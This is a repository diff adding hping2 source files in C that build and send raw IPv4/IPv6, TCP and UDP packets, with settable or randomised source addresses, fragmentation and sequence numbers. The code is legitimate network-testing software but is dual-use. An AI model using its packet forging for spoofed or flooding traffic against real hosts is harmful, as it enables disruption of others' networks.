|
||||||
|
data_handler(data, left_space);
|
||||||
|
no_space_left:
|
||||||
|
|
||||||
|
/* icmp checksum */
|
||||||
|
if (icmp_cksum == -1)
|
||||||
|
icmp->checksum = cksum((u_short*)packet, ICMPHDR_SIZE + IPHDR_SIZE + UDPHDR_SIZE + data_size);
|
||||||
|
else
|
||||||
|
icmp->checksum = icmp_cksum;
|
||||||
|
|
||||||
|
/* send packet */
|
||||||
|
send_ip_handler(packet, ICMPHDR_SIZE + IPHDR_SIZE + UDPHDR_SIZE + data_size);
|
||||||
|
free (packet);
|
||||||
|
free (ph_buf);
|
||||||
|
}
|
134
sendip.c
Normal file
134
sendip.c
Normal file
@ -0,0 +1,134 @@
|
|||||||
|
/*
|
||||||
|
* $smu-mark$
|
||||||
|
* $name: sendip.c$
|
||||||
|
* $author: Salvatore Sanfilippo <antirez@invece.org>$
|
||||||
|
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
|
||||||
|
* $license: This software is under GPL version 2 of license$
|
||||||
|
* $date: Fri Nov 5 11:55:49 MET 1999$
|
||||||
|
* $rev: 8$
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* $Id: sendip.c,v 1.7 2003/08/01 13:28:07 njombart Exp $ */
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#include "hping2.h"
|
||||||
|
#include "globals.h"
|
||||||
|
|
||||||
|
void send_ip (char* src, char *dst, char *data, unsigned int datalen,
|
||||||
|
int more_fragments, unsigned short fragoff, char *options,
|
||||||
|
char optlen)
|
||||||
|
{
|
||||||
|
char *packet;
|
||||||
|
int result,
|
||||||
|
packetsize;
|
||||||
|
struct myiphdr *ip;
|
||||||
|
|
||||||
|
packetsize = IPHDR_SIZE + optlen + datalen;
|
||||||
|
if ( (packet = malloc(packetsize)) == NULL) {
|
||||||
|
perror("[send_ip] malloc()");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
memset(packet, 0, packetsize);
|
||||||
|
ip = (struct myiphdr*) packet;
|
||||||
|
|
||||||
|
/* copy src and dst address */
|
||||||
|
memcpy(&ip->saddr, src, sizeof(ip->saddr));
|
||||||
|
memcpy(&ip->daddr, dst, sizeof(ip->daddr));
|
||||||
|
|
||||||
|
/* build ip header */
|
||||||
|
ip->version = 4;
|
||||||
|
ip->ihl = (IPHDR_SIZE + optlen + 3) >> 2;
|
||||||
|
ip->tos = ip_tos;
|
||||||
|
|
||||||
|
#if defined OSTYPE_FREEBSD || defined OSTYPE_NETBSD || defined OSTYPE_BSDI
|
||||||
|
/* FreeBSD */
|
||||||
|
/* NetBSD */
|
||||||
|
ip->tot_len = packetsize;
|
||||||
|
#else
|
||||||
|
/* Linux */
|
||||||
|
/* OpenBSD */
|
||||||
|
ip->tot_len = htons(packetsize);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
if (!opt_fragment)
|
||||||
|
{
|
||||||
|
ip->id = (src_id == -1) ?
|
||||||
|
htons((unsigned short) rand()) :
|
||||||
|
htons((unsigned short) src_id);
|
||||||
|
}
|
||||||
|
else /* if you need fragmentation id must not be randomic */
|
||||||
|
{
|
||||||
|
/* FIXME: when frag. enabled sendip_handler shold inc. ip->id */
|
||||||
|
/* for every frame sent */
|
||||||
|
ip->id = (src_id == -1) ?
|
||||||
|
htons(getpid() & 255) :
|
||||||
|
htons((unsigned short) src_id);
|
||||||
|
}
|
||||||
|
|
||||||
|
#if defined OSTYPE_FREEBSD || defined OSTYPE_NETBSD || defined OSTYPE_BSDI
|
||||||
|
/* FreeBSD */
|
||||||
|
/* NetBSD */
|
||||||
|
ip->frag_off |= more_fragments;
|
||||||
|
ip->frag_off |= fragoff >> 3;
|
||||||
|
#else
|
||||||
|
/* Linux */
|
||||||
|
/* OpenBSD */
|
||||||
|
ip->frag_off |= htons(more_fragments);
|
||||||
|
ip->frag_off |= htons(fragoff >> 3); /* shift three flags bit */
|
||||||
|
#endif
|
||||||
|
|
||||||
|
ip->ttl = src_ttl;
|
||||||
|
if (opt_rawipmode) ip->protocol = raw_ip_protocol;
|
||||||
|
else if (opt_icmpmode) ip->protocol = 1; /* icmp */
|
||||||
|
else if (opt_udpmode) ip->protocol = 17; /* udp */
|
||||||
|
else ip->protocol = 6; /* tcp */
|
||||||
|
ip->check = 0; /* always computed by the kernel */
|
||||||
|
|
||||||
|
/* copies options */
|
||||||
|
if (options != NULL)
|
||||||
|
memcpy(packet+IPHDR_SIZE, options, optlen);
|
||||||
|
|
||||||
|
/* copies data */
|
||||||
|
memcpy(packet + IPHDR_SIZE + optlen, data, datalen);
|
||||||
|
|
||||||
|
if (opt_debug == TRUE)
|
||||||
|
{
|
||||||
|
unsigned int i;
|
||||||
|
|
||||||
|
for (i=0; i<packetsize; i++)
|
||||||
|
printf("%.2X ", packet[i]&255);
|
||||||
|
printf("\n");
|
||||||
|
}
|
||||||
|
result = sendto(sockraw, packet, packetsize, 0,
|
||||||
|
(struct sockaddr*)&remote, sizeof(remote));
|
||||||
|
|
||||||
|
if (result == -1 && errno != EINTR && !opt_rand_dest && !opt_rand_source) {
|
||||||
|
perror("[send_ip] sendto");
|
||||||
|
if (close(sockraw) == -1)
|
||||||
|
perror("[ipsender] close(sockraw)");
|
||||||
|
#if (!defined OSTYPE_LINUX) || (defined FORCE_LIBPCAP)
|
||||||
|
if (close_pcap() == -1)
|
||||||
|
printf("[ipsender] close_pcap failed\n");
|
||||||
|
#else
|
||||||
|
if (close_sockpacket(sockpacket) == -1)
|
||||||
|
perror("[ipsender] close(sockpacket)");
|
||||||
|
#endif /* ! OSTYPE_LINUX || FORCE_LIBPCAP */
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
free(packet);
|
||||||
|
|
||||||
|
sum_bytes += packetsize;
|
||||||
|
sum_packets++;
|
||||||
|
/* inc packet id for safe protocol */
|
||||||
|
if (opt_safe && !eof_reached)
|
||||||
|
src_id++;
|
||||||
|
}
|
94
sendip6.c
Normal file
94
sendip6.c
Normal file
@ -0,0 +1,94 @@
|
|||||||
|
/*
|
||||||
|
* $smu-mark$
|
||||||
|
* $name: sendip6.c$
|
||||||
|
* $author: Matyas Koszik <koszik@atw.hu>$
|
||||||
|
* $copyright: Copyright (C) 2006 by Matyas Koszik$
|
||||||
|
* $license: This software is under GPL version 2 of license$
|
||||||
|
* $date: Sun Apr 16 05:18:30 CEST 2006$
|
||||||
|
* $rev: 1$
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#include "hping2.h"
|
||||||
|
#include "globals.h"
|
||||||
|
|
||||||
|
void send_ip6 (char *src, char *dst, char *data, unsigned int datalen)
|
||||||
|
{
|
||||||
|
char *packet;
|
||||||
|
int result,
|
||||||
|
packetsize;
|
||||||
|
struct myip6hdr *ip6;
|
||||||
|
|
||||||
|
packetsize = IP6HDR_SIZE + datalen;
|
||||||
|
if ( (packet = malloc(packetsize)) == NULL) {
|
||||||
|
perror("[send_ip] malloc()");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
memset(packet, 0, packetsize);
|
||||||
|
ip6 = (struct myip6hdr*) packet;
|
||||||
|
|
||||||
|
/* copy src and dst address */
|
||||||
|
memcpy(ip6->saddr, src, sizeof(ip6->saddr));
|
||||||
|
memcpy(ip6->daddr, dst, sizeof(ip6->daddr));
|
||||||
|
|
||||||
|
/* build ip header */
|
||||||
|
ip6->version = 6;
|
||||||
|
// ip->tos = ip_tos;
|
||||||
|
|
||||||
|
#if defined OSTYPE_FREEBSD || defined OSTYPE_NETBSD || defined OSTYPE_BSDI
|
||||||
|
/* FreeBSD */
|
||||||
|
/* NetBSD */
|
||||||
|
ip6->paylen = datalen;
|
||||||
|
#else
|
||||||
|
/* Linux */
|
||||||
|
/* OpenBSD */
|
||||||
|
ip6->paylen = htons(datalen);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
ip6->hoplimit = src_ttl;
|
||||||
|
if (opt_rawipmode) ip6->nextheader = raw_ip_protocol;
|
||||||
|
else if (opt_icmpmode) ip6->nextheader = 58; /* icmp */
|
||||||
|
else if (opt_udpmode) ip6->nextheader = 17; /* udp */
|
||||||
|
else ip6->nextheader = 6; /* tcp */
|
||||||
|
|
||||||
|
/* copies data */
|
||||||
|
memcpy(packet + IP6HDR_SIZE, data, datalen);
|
||||||
|
|
||||||
|
if (opt_debug == TRUE)
|
||||||
|
{
|
||||||
|
unsigned int i;
|
||||||
|
|
||||||
|
for (i=0; i<packetsize; i++)
|
||||||
|
printf("%.2X ", packet[i]&255);
|
||||||
|
printf("\n");
|
||||||
|
}
|
||||||
|
result = sendto(sockraw, packet, packetsize, 0,
|
||||||
|
(struct sockaddr*)&remote, sizeof(remote));
|
||||||
|
|
||||||
|
if (result == -1 && errno != EINTR && !opt_rand_dest && !opt_rand_source) {
|
||||||
|
perror("[send_ip6] sendto");
|
||||||
|
if (close(sockraw) == -1)
|
||||||
|
perror("[ipsender] close(sockraw)");
|
||||||
|
#if (!defined OSTYPE_LINUX) || (defined FORCE_LIBPCAP)
|
||||||
|
if (close_pcap() == -1)
|
||||||
|
printf("[ipsender] close_pcap failed\n");
|
||||||
|
#else
|
||||||
|
if (close_sockpacket(sockpacket) == -1)
|
||||||
|
perror("[ipsender] close(sockpacket)");
|
||||||
|
#endif /* ! OSTYPE_LINUX || FORCE_LIBPCAP */
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
free(packet);
|
||||||
|
|
||||||
|
sum_bytes += packetsize;
|
||||||
|
sum_packets++;
|
||||||
|
}
|
74
sendip_handler.c
Normal file
74
sendip_handler.c
Normal file
@ -0,0 +1,74 @@
|
|||||||
|
/*
|
||||||
|
* $smu-mark$
|
||||||
|
* $name: sendip_handler.c$
|
||||||
|
* $author: Salvatore Sanfilippo <antirez@invece.org>$
|
||||||
|
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
|
||||||
|
* $license: This software is under GPL version 2 of license$
|
||||||
|
* $date: Fri Nov 5 11:55:49 MET 1999$
|
||||||
|
* $rev: 3$
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
#include "hping2.h"
|
||||||
|
#include "globals.h"
|
||||||
|
|
||||||
|
void send_ip_handler(char *packet, unsigned int size)
|
||||||
|
{
|
||||||
|
if(opt_ipv6)
|
||||||
|
{
|
||||||
|
send_ip6((char*)&ADDR6(&local),
|
||||||
|
(char*)&ADDR6(&remote),
|
||||||
|
packet, size);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
ip_optlen = ip_opt_build(ip_opt);
|
||||||
|
|
||||||
|
if (!opt_fragment && (size+ip_optlen+20 >= h_if_mtu))
|
||||||
|
{
|
||||||
|
/* auto-activate fragmentation */
|
||||||
|
virtual_mtu = h_if_mtu-20;
|
||||||
|
virtual_mtu = virtual_mtu - (virtual_mtu % 8);
|
||||||
|
opt_fragment = TRUE;
|
||||||
|
opt_mf = opt_df = FALSE; /* deactivate incompatible options */
|
||||||
|
if (opt_verbose || opt_debug)
|
||||||
|
printf("auto-activate fragmentation, fragments size: %d\n", virtual_mtu);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!opt_fragment)
|
||||||
|
{
|
||||||
|
unsigned short fragment_flag = 0;
|
||||||
|
|
||||||
|
if (opt_mf) fragment_flag |= MF; /* more fragments */
|
||||||
|
if (opt_df) fragment_flag |= DF; /* dont fragment */
|
||||||
|
send_ip((char*)&ADDR4(&local),
|
||||||
|
(char*)&ADDR4(&remote),
|
||||||
|
packet, size, fragment_flag, ip_frag_offset,
|
||||||
|
ip_opt, ip_optlen);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
unsigned int remainder = size;
|
||||||
|
int frag_offset = 0;
|
||||||
|
|
||||||
|
while(1) {
|
||||||
|
if (remainder <= virtual_mtu)
|
||||||
|
break;
|
||||||
|
|
||||||
|
send_ip((char*)&ADDR4(&local),
|
||||||
|
(char*)&ADDR4(&remote),
|
||||||
|
packet+frag_offset,
|
||||||
|
virtual_mtu, MF, frag_offset,
|
||||||
|
ip_opt, ip_optlen);
|
||||||
|
|
||||||
|
remainder-=virtual_mtu;
|
||||||
|
frag_offset+=virtual_mtu;
|
||||||
|
}
|
||||||
|
|
||||||
|
send_ip((char*)&ADDR4(&local),
|
||||||
|
(char*)&ADDR4(&remote),
|
||||||
|
packet+frag_offset,
|
||||||
|
remainder, NF, frag_offset,
|
||||||
|
ip_opt, ip_optlen);
|
||||||
|
}
|
||||||
|
}
|
25
sendrawip.c
Normal file
25
sendrawip.c
Normal file
@ -0,0 +1,25 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <sys/time.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <signal.h>
|
||||||
|
#include <errno.h>
|
||||||
|
|
||||||
|
#include "hping2.h"
|
||||||
|
#include "globals.h"
|
||||||
|
|
||||||
|
void send_rawip(void)
|
||||||
|
{
|
||||||
|
char *packet;
|
||||||
|
|
||||||
|
packet = malloc(data_size);
|
||||||
|
if (packet == NULL) {
|
||||||
|
perror("[send_rawip] malloc()");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
memset(packet, 0, data_size);
|
||||||
|
data_handler(packet, data_size);
|
||||||
|
send_ip_handler(packet, data_size);
|
||||||
|
free(packet);
|
||||||
|
}
|
118
sendtcp.c
Normal file
118
sendtcp.c
Normal file
@ -0,0 +1,118 @@
|
|||||||
|
/*
|
||||||
|
* $smu-mark$
|
||||||
|
* $name: sendtcp.c$
|
||||||
|
* $author: Salvatore Sanfilippo <antirez@invece.org>$
|
||||||
|
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
|
||||||
|
* $license: This software is under GPL version 2 of license$
|
||||||
|
* $date: Fri Nov 5 11:55:49 MET 1999$
|
||||||
|
* $rev: 8$
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <time.h>
|
||||||
|
#include <sys/time.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <signal.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <time.h>
|
||||||
|
|
||||||
|
#include "hping2.h"
|
||||||
|
#include "globals.h"
|
||||||
|
|
||||||
|
void send_tcp(void)
|
||||||
|
{
|
||||||
|
int packet_size;
|
||||||
|
int tcp_opt_size = 0;
|
||||||
|
char *packet, *data;
|
||||||
|
struct mytcphdr *tcp;
|
||||||
|
struct pseudohdr *pseudoheader;
|
||||||
|
struct pseudohdr6 *pseudoheader6;
|
||||||
|
unsigned char *tstamp;
|
||||||
|
int pslen;
|
||||||
|
|
||||||
|
if (opt_tcp_timestamp)
|
||||||
|
tcp_opt_size = 12;
|
||||||
|
|
||||||
|
if(opt_ipv6)
|
||||||
|
pslen = PSEUDOHDR6_SIZE;
|
||||||
|
else
|
||||||
|
pslen = PSEUDOHDR_SIZE;
|
||||||
|
|
||||||
|
packet_size = TCPHDR_SIZE + tcp_opt_size + data_size;
|
||||||
|
packet = malloc(pslen + packet_size);
|
||||||
|
if (packet == NULL) {
|
||||||
|
perror("[send_tcphdr] malloc()");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
pseudoheader = (struct pseudohdr*) packet;
|
||||||
|
pseudoheader6 = (struct pseudohdr6*) packet;
|
||||||
|
tcp = (struct mytcphdr*) (packet+pslen);
|
||||||
|
tstamp = (unsigned char*) (packet+pslen+TCPHDR_SIZE);
|
||||||
|
data = (char*) (packet+pslen+TCPHDR_SIZE+tcp_opt_size);
|
||||||
|
|
||||||
|
memset(packet, 0, pslen+packet_size);
|
||||||
|
|
||||||
|
/* tcp pseudo header */
|
||||||
|
if(opt_ipv6)
|
||||||
|
{
|
||||||
|
memcpy(&pseudoheader6->saddr, &ADDR6(&local).s6_addr, 16);
|
||||||
|
memcpy(&pseudoheader6->daddr, &ADDR6(&remote).s6_addr, 16);
|
||||||
|
pseudoheader6->protocol = IPPROTO_TCP;
|
||||||
|
pseudoheader6->lenght = htons(packet_size);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
memcpy(&pseudoheader->saddr, &ADDR4(&local).s_addr, 4);
|
||||||
|
memcpy(&pseudoheader->daddr, &ADDR4(&remote).s_addr, 4);
|
||||||
|
pseudoheader->protocol = IPPROTO_TCP;
|
||||||
|
pseudoheader->lenght = htons(packet_size);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* tcp header */
|
||||||
|
tcp->th_dport = htons(dst_port);
|
||||||
|
tcp->th_sport = htons(src_port);
|
||||||
|
|
||||||
|
/* sequence number and ack are random if not set */
|
||||||
|
tcp->th_seq = (set_seqnum) ? htonl(tcp_seqnum) : htonl(rand());
|
||||||
|
tcp->th_ack = (set_ack) ? htonl(tcp_ack) : htonl(rand());
|
||||||
|
|
||||||
|
tcp->th_off = src_thoff + (tcp_opt_size >> 2);
|
||||||
|
tcp->th_win = htons(src_winsize);
|
||||||
|
tcp->th_flags = tcp_th_flags;
|
||||||
|
|
||||||
|
/* tcp timestamp option */
|
||||||
|
if (opt_tcp_timestamp) {
|
||||||
|
__u32 randts = rand() ^ (rand() << 16);
|
||||||
|
tstamp[0] = tstamp[1] = 1; /* NOOP */
|
||||||
|
tstamp[2] = 8;
|
||||||
|
tstamp[3] = 10; /* 10 bytes, kind+len+T1+T2 */
|
||||||
|
memcpy(tstamp+4, &randts, 4); /* random */
|
||||||
|
memset(tstamp+8, 0, 4); /* zero */
|
||||||
|
}
|
||||||
|
|
||||||
|
/* data */
|
||||||
|
data_handler(data, data_size);
|
||||||
|
|
||||||
|
/* compute checksum */
|
||||||
|
#ifdef STUPID_SOLARIS_CHECKSUM_BUG
|
||||||
|
tcp->th_sum = packet_size;
|
||||||
|
#else
|
||||||
|
tcp->th_sum = cksum((u_short*) packet, pslen + packet_size);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* adds this pkt in delaytable */
|
||||||
|
delaytable_add(sequence, src_port, time(NULL), get_usec(), S_SENT);
|
||||||
|
|
||||||
|
/* send packet */
|
||||||
|
send_ip_handler(packet+pslen, packet_size);
|
||||||
|
free(packet);
|
||||||
|
|
||||||
|
sequence++; /* next sequence number */
|
||||||
|
if (!opt_keepstill)
|
||||||
|
src_port = (sequence + initsport) % 65536;
|
||||||
|
|
||||||
|
if (opt_force_incdport)
|
||||||
|
dst_port++;
|
||||||
|
}
|
98
sendudp.c
Normal file
98
sendudp.c
Normal file
@ -0,0 +1,98 @@
|
|||||||
|
/*
|
||||||
|
* $smu-mark$
|
||||||
|
* $name: sendudp.c$
|
||||||
|
* $author: Salvatore Sanfilippo <antirez@invece.org>$
|
||||||
|
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
|
||||||
|
* $license: This software is under GPL version 2 of license$
|
||||||
|
* $date: Fri Nov 5 11:55:49 MET 1999$
|
||||||
|
* $rev: 8$
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <time.h>
|
||||||
|
#include <sys/time.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <signal.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <time.h>
|
||||||
|
|
||||||
|
#include "hping2.h"
|
||||||
|
#include "globals.h"
|
||||||
|
|
||||||
|
/* void hexdumper(unsigned char *packet, int size); */
|
||||||
|
|
||||||
|
void send_udp(void)
|
||||||
|
{
|
||||||
|
int packet_size;
|
||||||
|
char *packet, *data;
|
||||||
|
struct myudphdr *udp;
|
||||||
|
struct pseudohdr *pseudoheader;
|
||||||
|
struct pseudohdr6 *pseudoheader6;
|
||||||
|
int pslen;
|
||||||
|
|
||||||
|
if(opt_ipv6)
|
||||||
|
pslen = PSEUDOHDR6_SIZE;
|
||||||
|
else
|
||||||
|
pslen = PSEUDOHDR_SIZE;
|
||||||
|
|
||||||
|
packet_size = UDPHDR_SIZE + data_size;
|
||||||
|
packet = malloc(pslen + packet_size);
|
||||||
|
if (packet == NULL) {
|
||||||
|
perror("[send_udphdr] malloc()");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
pseudoheader = (struct pseudohdr*) packet;
|
||||||
|
pseudoheader6 = (struct pseudohdr6*) packet;
|
||||||
|
udp = (struct myudphdr*) (packet+pslen);
|
||||||
|
data = (char*) (packet+pslen+UDPHDR_SIZE);
|
||||||
|
|
||||||
|
memset(packet, 0, pslen+packet_size);
|
||||||
|
|
||||||
|
/* udp pseudo header */
|
||||||
|
if(opt_ipv6)
|
||||||
|
{
|
||||||
|
memcpy(&pseudoheader6->saddr, &ADDR6(&local).s6_addr, 16);
|
||||||
|
memcpy(&pseudoheader6->daddr, &ADDR6(&remote).s6_addr, 16);
|
||||||
|
pseudoheader6->protocol = IPPROTO_UDP;
|
||||||
|
pseudoheader6->lenght = htons(packet_size);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
memcpy(&pseudoheader->saddr, &ADDR4(&local).s_addr, 4);
|
||||||
|
memcpy(&pseudoheader->daddr, &ADDR4(&remote).s_addr, 4);
|
||||||
|
pseudoheader->protocol = IPPROTO_UDP;
|
||||||
|
pseudoheader->lenght = htons(packet_size);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* udp header */
|
||||||
|
udp->uh_dport = htons(dst_port);
|
||||||
|
udp->uh_sport = htons(src_port);
|
||||||
|
udp->uh_ulen = htons(packet_size);
|
||||||
|
|
||||||
|
/* data */
|
||||||
|
data_handler(data, data_size);
|
||||||
|
|
||||||
|
/* compute checksum */
|
||||||
|
#ifdef STUPID_SOLARIS_CHECKSUM_BUG
|
||||||
|
udp->uh_sum = packet_size;
|
||||||
|
#else
|
||||||
|
udp->uh_sum = cksum((__u16*) packet, pslen + packet_size);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* adds this pkt in delaytable */
|
||||||
|
delaytable_add(sequence, src_port, time(NULL), get_usec(), S_SENT);
|
||||||
|
|
||||||
|
/* send packet */
|
||||||
|
send_ip_handler(packet+pslen, packet_size);
|
||||||
|
free(packet);
|
||||||
|
|
||||||
|
sequence++; /* next sequence number */
|
||||||
|
|
||||||
|
if (!opt_keepstill)
|
||||||
|
src_port = (sequence + initsport) % 65536;
|
||||||
|
|
||||||
|
if (opt_force_incdport)
|
||||||
|
dst_port++;
|
||||||
|
}
|
29
signal.c
Normal file
29
signal.c
Normal file
@ -0,0 +1,29 @@
|
|||||||
|
/* protable signal() like */
|
||||||
|
|
||||||
|
#include <signal.h>
|
||||||
|
|
||||||
|
/* Portable signal() from R.Stevens,
|
||||||
|
* modified to reset the handler */
|
||||||
|
void (*Signal(int signo, void (*func)(int)))(int)
|
||||||
|
{
|
||||||
|
struct sigaction act, oact;
|
||||||
|
|
||||||
|
act.sa_handler = func;
|
||||||
|
sigemptyset(&act.sa_mask);
|
||||||
|
act.sa_flags = 0; /* So if set SA_RESETHAND is cleared */
|
||||||
|
if (signo == SIGALRM)
|
||||||
|
{
|
||||||
|
#ifdef SA_INTERRUPT
|
||||||
|
act.sa_flags |= SA_INTERRUPT; /* SunOS 4.x */
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
#ifdef SA_RESTART
|
||||||
|
act.sa_flags |= SA_RESTART; /* SVR4, 4.4BSD, Linux */
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
if (sigaction(signo, &act, &oact) == -1)
|
||||||
|
return SIG_ERR;
|
||||||
|
return (oact.sa_handler);
|
||||||
|
}
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user